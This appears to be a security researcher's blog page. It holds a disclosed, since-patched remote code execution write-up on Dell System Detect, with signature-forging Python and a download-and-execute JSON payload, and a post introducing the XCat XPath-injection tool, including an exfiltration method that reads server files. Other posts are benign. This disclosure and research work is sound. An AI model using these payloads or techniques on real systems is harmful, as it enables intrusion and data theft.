Dell System Detect RCE vulnerability

I recently discovered a serious flaw with Dell System Detect that allowed an attacker to trigger the program to download and execute an arbitrary file without any user interaction. Below is a summary of the issue and the steps taken to bypass the protections Dell put in place.


The issue was fixed within two months and Dell were clear in their communications throughout.

  • 11/11/2014 - Contacted Dell about the issue and received an acknowledgement
  • 14/11/2014 - Received confirmation that Dells Internal Assessment team is investigating
  • 9/1/2015 - Dell state that they have fixed the issue by introducing additional validation and obfuscation
  • 10/1/2015 - Checked patched program and could not reproduce this exploit
  • 23/3/2015 - This post is published


Anyone who has owned a Dell will be familiar with the Dell Support page. You can get all the latest drivers for your exact machine configuration from this site by entering your Dell Service Tag, which can be found on a sticker somewhere on your machine or through clicking the shiny blue "Detect Product" button.

Clicking this button prompts you to download and install the "Dell System Detect" program, which is used to auto fill the service tag input and show you the relevant drivers for your machine.

While investigating this rather innocuous looking program I discovered that it accepts commands by listening for HTTP requests on localhost:8884 and that the security restrictions Dell put in place are easily bypassed, meaning an attacker could trigger the program to download and install any arbitrary executable from a remote location with no user interaction at all.

The interesting bit

If you click the button you are prompted to download and install the "Dell System Detect" program which conspicuously sits in your taskbar and starts itself with your machine. So this program is clearly part of the process of autodetecting the service tag, but how does the browser page communicate with it? You can use Chrome's excellent developer tools to view the network traffic of the page and see that it makes several requests to a service listening on localhost port 8884:

Ok, so it seems that the Dell System Detect runs a HTTP server that listens for requests, which are sent from the Dell Support page's JavaScript. So let's take a closer look at the program - it's a .NET 2.0 executable and can be completely decompiled with dotPeek into a set of Visual Studio solutions. A quick search through the code for "http" brings us to eSupport.Common.Client.Service.RequestHandlers.ProcessRequest which is responsible for processing a request through the processes HTTP port. Below is an abbreviated snippet showing how this function authenticates that requests come from a valid Dell domain:

public void ProcessRequest(HttpListenerContext context)
    String url = "";
    if (context.Request.UrlReferrer == null) url = context.Request.Headers["Origin"];
    else url = context.Request.UrlReferrer.AbsoluteUri;

    if (absoluteUri.Contains("dell"))
        if (context.Request.HttpMethod == "GET")
        else if (context.Request.HttpMethod == "POST")

So that's our first issue: the program attempts to verify that the request is sent from a Dell domain by only checking if "dell" is in either the HTTP Referrer or Origin headers. Why is this a problem? The HTTP Referrer can contain the full request URI including the host and path. This means an attacker could easily make a request with an origin of "" and this would pass the initial test as "dell" is in the string.

Armed with this information we can make requests to the program that are at least partially processed. Inside each of the method handlers (HandleGet, HandlePost) there is a fair bit of messy code, but below is a simplified version:

private void HandleGet(HttpListenerContext context)
  string[] urlParts = context.Request.Url.AbsolutePath.Split('/');
  MethodInfo method = FindService(urlParts[0]), urlParts[1]);

  string signature = context.Request.QueryString["signature"];
  string str3 = context.Request.QueryString["expires"];
  bool verified = new AuthenticationHandler().Authenticate(urlParts[0], urlParts[1], str3, signature);
  if (!verified) return Error()

  var result = method.Invoke(GetParameters(context.Request));
  return MakeResponse(result);

This function splits the request URL by the slash and uses the first two components to find the correct service to execute. In the Chrome screenshot above we see that the web page is making a request to clientservice/isalive, which means the program will execute the isalive method in the clientservice service.

After the service has been found it inspects two query string parameters, signature and expires, and passes them to the Authenticate method. If this passes then the service is invoked with other query string parameters as arguments.

It seems obvious by now that the program does a little bit more than simply retrieve your service tag, so before we look into the Authenticate method let's see what interesting things we can do.


There are three services that can be used: diagnosticservice, downloadservice and clientservice. Within these are 25 methods, including getservicetag, getdevices, getsysteminfo, checkadminrights and downloadfiles. It seems that the entire Dell system support package is included with System Detect, meaning if we can bypass the authentication then we can trigger any of these methods.

The most interesting method is called downloadandautoinstall, which does exactly what it says on the tin.

public class DownloadServiceLogic
    public static ServiceResponse DownloadAndAutoInstall(string files)
        // Download and execute URL's passed in the files parameter without prompting the user

If we can bypass the Authenticate method then we can trigger this function which will download and execute whatever file we tell it to by making a request to http://localhost:8884/downloadservice/downloadandautoinstall. So lets take a look at the authenticate method which is the only thing stopping us:

public bool Authenticate(string service, string method, string expiration, string signature)
    var secret = string.Format("{0}_{1}_{2}_{3}", service, method, expiration, "37d42206-2f68-48be-a09a-9f9b6424ad85");
    var hash = new SHA256Managed().ComputeHash(Encoding.UTF8.GetBytes(secret));

    string stringToEscape = Convert.ToBase64String(hash).TrimEnd('=');
    bool flag = stringToEscape.ToLower() == signature.ToLower() || Uri.EscapeDataString(stringToEscape).ToLower() == signature.ToLower();
    if (!flag)
        ErrorLog.WriteLog("Not authenticated");
    return flag;

Wow. Ok, so not exactly the hardest thing to break. The service, method, expiration and signature arguments are all attacker controlled and passed through GET arguments. The only thing not controlled by a remote attacker is the hard-coded GUID "2f68-48be-a09a-9f9b6424ad85".

Essentially all the function does is create a string with the arguments and the GUID then compare it with the one the user has given, and if it is a match the user is 'authenticated'. With this information in hand we can create a simple Python function to generate a valid signature:

def make_signature(service, method):
    expiration = int(time.time()) + 400000

    secret_string = "{}_{}_{}_{}".format(
        service, method, expiration, "37d42206-2f68-48be-a09a-9f9b6424ad85"

    hashed = hashlib.sha256(unicode(secret_string, "utf-8"))
    print("Secret: {}".format(secret_string))
    print("Hash: {}".format(hashed.hexdigest()))
    return expiration, base64.encodestring(hashed.digest()).rstrip(b"\n").rstrip(b"=")

If we can generate a valid token then we can trigger the "downloadandautoinstall" method with our arbitrary file by causing the user to make a GET request, which is very very easy to do. A simple way would be to embed an image in a web page with the source set to "http://localhost:8884/downloadservice/downloadandautoinstall" with the appropriate GET arguments. After some investigation it seems that the DownloadAutoInstall method needs a list of JSON strings containing information about files to download and install. Sending a JSON object like the following with a valid signature will trigger a download:

    "Name": "messbox.exe",
    "InstallOrder": 1,
    "IsDownload": True,
    "IsAutoInstall": True,
    "Location": r""


So in conclusion we can make anyone running this software download and install an arbitrary file by triggering their web browser to make a request to a crafted localhost URL. This can be achieved a number of ways, and the service will faithfully download and execute our payload without prompting the user.

I don't think Dell should be including all this functionality in such a simple tool and should have ensured adequate protection against malicious inputs. After contacting Dell and discussing the issue with their internal security team they pushed out a fix that included obfuscating the downloaded binary. While I cannot be sure I think they simply changed the conditional from "if dell in referrer" to "if dell in referrer domain name", which may be slightly harder to exploit but just as severe. There is now also a big agreement you have to accept before downloading that specifies what the software can do.

Simple 2

I've just about finished the next version of Simple, the markdown based blog that powers this site.

When I first made Simple it was because I disliked WordPress, which seemed a bit too bloated. Then I saw Svbtle and I really liked the minimalist design (mostly the posting interface) and decided to make a clone in Python.

This worked great and powered my blog for three years or so without any issues, but I became a bit tired of the minimal white design and wanted something with a bit more to look at. When I stumbled across the HPSTR Jekyll Theme I really liked the layout and design and decided to adapt that for the next version of Simple.

And so here it is. It tries to stay true to it's name by being simple to use and install whilst still having a decent feature set and a nice design. The editing interface is a styled textarea that grows as you type, and adding an image is a simple as dragging and dropping it onto the page. This will upload the image and insert the right markdown at your cursor position. You can also edit the title by just selecting it and typing.

One thing I really liked about the HPSTR theme is the large image header, and I decided to combine this with the Bing daily image. When writing a post you can view the last 25 daily images by clicking the picture icon in the top right and using the left and right arrows to navigate:

I've tried to make installing Simple a painless as possible. You create a virtual environment for Simple, install the package and then use the 'simple' command to create a blog. Creating and maintaining config files is a pain, so you can use the simple command to create nginx and supervisord config files with the right file paths included (You will likely need to run apt-get install nginx or yum install nginx, and install supervisor to use them).

>> mkdir blog && cd blog
>> python3.4 -m venv env
>> source env/bin/activate && pip install simpleblogging gunicorn
>> simple create
>> nano
>> simple nginx_config --proxy_port=9009 > /etc/nginx/conf.d/simple.conf
>> simple supervisor_config env/ 9009 >> /etc/supervisord.conf
>> chown -R nobody:nobody ../blog
>> supervisorctl start simple && service nginx reload

And that's all you need.

Exploiting XPath injection vulnerabilities with XCat

I just released XCat 0.7, the companion tool to this paper. XCat is a command line tool to automate the exploitation of Blind XPath Injection Vulnerabilities, utilizing some pretty cool techniques.

The most interesting technique is that xcat can automate out of band attacks to massively speed up extraction of data. In English that means that it can turn a blind injection (where one request equals one bit of data) into a standard injection (where one request can result in many bits of data), essentially making the server send the data to XCat in big chunks. It also comes with a "file shell" option that allows you to access local files on the server through a variety of methods. You can find out how to install it in the documentation here:, and this post provides a summary of XCat's capabilities.


XPath is like SQL for XML. Imagine you had this XML document with a list of users:

    <user username='Tom' password='pass'/>
    <user username='Jane' password='wyf'/>
    <user username='Steve' password='abcd'/>

And you wanted to query the existence of a particular user. You could write something like this:


That query would return the user node with the attribute 'username' set to 'Tom'. There are lots of better examples on the Wikipedia page if you're interested.


Imagine if the query above was part of a form, and the code puts unescaped user input into the username part of the query. If the query finds a result it redirects you somewhere, otherwise it displays an error. An attacker could subvert the query by adding his own logic:

/root/user[@username="Tom" and @password="pass" and "1"="1"]

Now the form will only redirect if the user Tom's password is equal to "pass". Someone malicious could simply enumerate through common passwords until the form redirects, at which point they know Tom's password. XCat is built to automate this, but it takes it a step further by being able to extract any portion of the document being queried through the injection flaw as efficiently as possible. XCat can also be used to read arbitrary XML and text files on the server - in the demo below we read an XML file, a secret text file and /etc/passwd.

Example command

You need to supply XCat with some information before it can exploit an injection flaw. It needs to know the HTTP method, the URI of the page, some data which triggers a True or False page, the vulnerable parameter and a match string. In the example below that is used in the demo the vulnerable parameter is "title", and if the query is successful (i.e evaluates to true) the resulting page will have "1 results found" inside the contents.

xcat --method=GET http://localhost:8080 "title=Foundation" title "1 results found" run retrieve

Using just this information XCat can retrieve the whole XML document being queried. For XCat to read local files and speed up retrieval it needs to know how to connect back to your local machine, which means you need a public IP address. In the video below I use the --public-ip flag to specify "localhost" as my address as I am running the example site on my local machine. You can set it to "autodetect" and XCat will automatically detect your public IP. Note: Maximize the demo (bottom right) if you can't see all the commands.

XCat comes with an example vulnerable website you can test it against, powered by Jython. It also tries to be clever about how it fetches data: It can use a variety of different methods to speed up retrieval and intelligently degrades to slower techniques if faster ones are not available. This means you just need to point XCat at the vulnerability and it will do the hard work of figuring out the best way to exploit it.


XCat requires Python 3.2 or above (preferably 3.4) and can be installed via Pip:

pip install xcat

The example application can be downloaded from the Github repository

Out of band attacks

Out-of-band (OOB) metaphorically refers to activity outside of some other kind of activity. In the examples above one request can get only a True or False response, so for each request we can only gather one bit of data. We can get around this by using an OOB attack to gather many bits of data per request by utilizing an additional communication channel.

The first OOB technique utilizes the XPath doc() function to speed up retrieval. This function can be used to load both local and remote (via HTTP) XML documents as part of a query:


If XCat detects it is able to use this function it performs the following actions to speed up retrieval:

  1. Issue a query requesting the server to load an XML document from a URL, which contains part of the data we wish to extract concatenated onto the end of the URL (URL + urlencode(data))
  2. The server will request this URL and XCat can extract the information from the query string

It does this by starting its own HTTP server and listening for requests from the target server.

The second OOB technique allows the reading of local text files using XML External Entity Injection. It's quite similar to the first OOB attack but involves two stages: first XCat asks the server to load a malicious XML file which contains an XML SYSTEM entity pointing to the file we want to read, and secondly the resulting data is then sent via the first technique back to XCat. These are the steps taken:

  1. Instruct the server to load a crafted XML document served by XCat
  2. The server connects to XCat and requests the XML document
  3. XCat responds with a malicious XML document containing a SYSTEM entity
  4. The server parses this and includes the contents of the target file in the document
  5. This can be extracted and read by using the first technique

Check out the documentation for more info and examples of commands. A fair bit is missing at the moment, most noticeably support for cookies, but those should be coming at a later date.

A test RSS feed service

The coursework set for my Distributed Systems involves reading new items from RSS feeds (such as the BBC News feed or the UK traffic incident feed). To help me build the system I developed a simple service that serves up RSS feeds that are regularly automatically updated with nonsense items, and it might be useful for anyone else doing something related. It sure beats waiting for BBC news to publish a story or someone to crash on the M4.

The service can be found here: and is really simple to use.

Basic feeds

A feed is accessed by a unique key. This key can be anything, e.g or If you can't think of a key (or don't want to hard code one while testing) then you can use, requesting this will set a cookie which must be re-sent with each request to get the same feed.

Message rate

Messages will be added to the feed once every 30 seconds, but this is configurable with the ?time parameter. To create a feed with a new entry every 15 seconds request this URL:

Simulate issues

Appending ?tryme to any feed URL will trigger a fault 25% of the time. This fault will be one of:

  • Invalid XML response
  • Internal server error (http 500)
  • Non XML response
  • Non HTTP response
  • Redirect to Google
  • Out of order or missing results
  • Results with future dates

You can use this to ensure any system you build is proofed against one of those faults.


You can check out the source code here on GitHub

2 years of blogging

When I first came to University lots of people (like Rob Miles) were trying to get undergraduates to start blogging. On the 6th of March 2012 I registered this domain and started blogging, getting myself added to the awesome Hull Compsci blogs syndicate. That was two years ago and a lot has changed so I thought I would write a summary post.

Open source stuff

My first blog was a Wordpress one, but I felt that Wordpress was trying to be too much and I just wanted something a bit more lightweight. So, inspired by svbtle I created and released Simple which powers this blog. A least a few other people use it for their blogs as well which is kind of cool depite me not giving the project much attention recently.

I primarily use GitHub to share all my open source code. Over the last year I've made 379 contributions to both my own repositories and others that I use, and somehow gathered 48 followers. My most popular repository is Simple which has 481 stars and 96(!) forks, followed by my Django Debug toolbar panel with 191 stars.

I've put a few projects on the Python package index as well, and a couple seem to be used a fair bit: The Debug toolbar panel had 3690 downloads in the last month and my HtmlToWord library had 3812 (which I find weird because unlike the other package I can't locate a single project other than mine that actually uses it).

In the last two years this blog has had 67,184 visitors with a peak of over 1,000 concurrent viewers, which is pretty neat. Simple handled every request speedily with no errors.

The most popular posts are:

  1. Purchasing a £30,000 numberplate for the price of a bus ticket
  2. Breaking out of secured Python environments
  3. Just how slow are Django templates
  4. Opera is really nice
  5. Automatically inline Python function calls
  6. Using Python metaclasses to make awesome Django model field choices
  7. Adding tail call optimization to Python

According to Google Webmaster tools some of my popular posts have quite high google rankings for some queries:

Viewer information

I use Google Analytics for my website stats and it also tracks things like browser usage, operating system and screen resolution.

Security stuff

I found a 4 "grave" security issues in some software that got issued their own CVE numbers (which is awesome!): Slightly before I started this blog I also presented a research paper at the BlackHat security conference which was the most scary hour of my life. I haven't really blogged about it but I intend to in the coming weeks.


I'm pretty happy with the last two years and I'm both excited for the future and a bit sad that my time at Hull is coming to a close.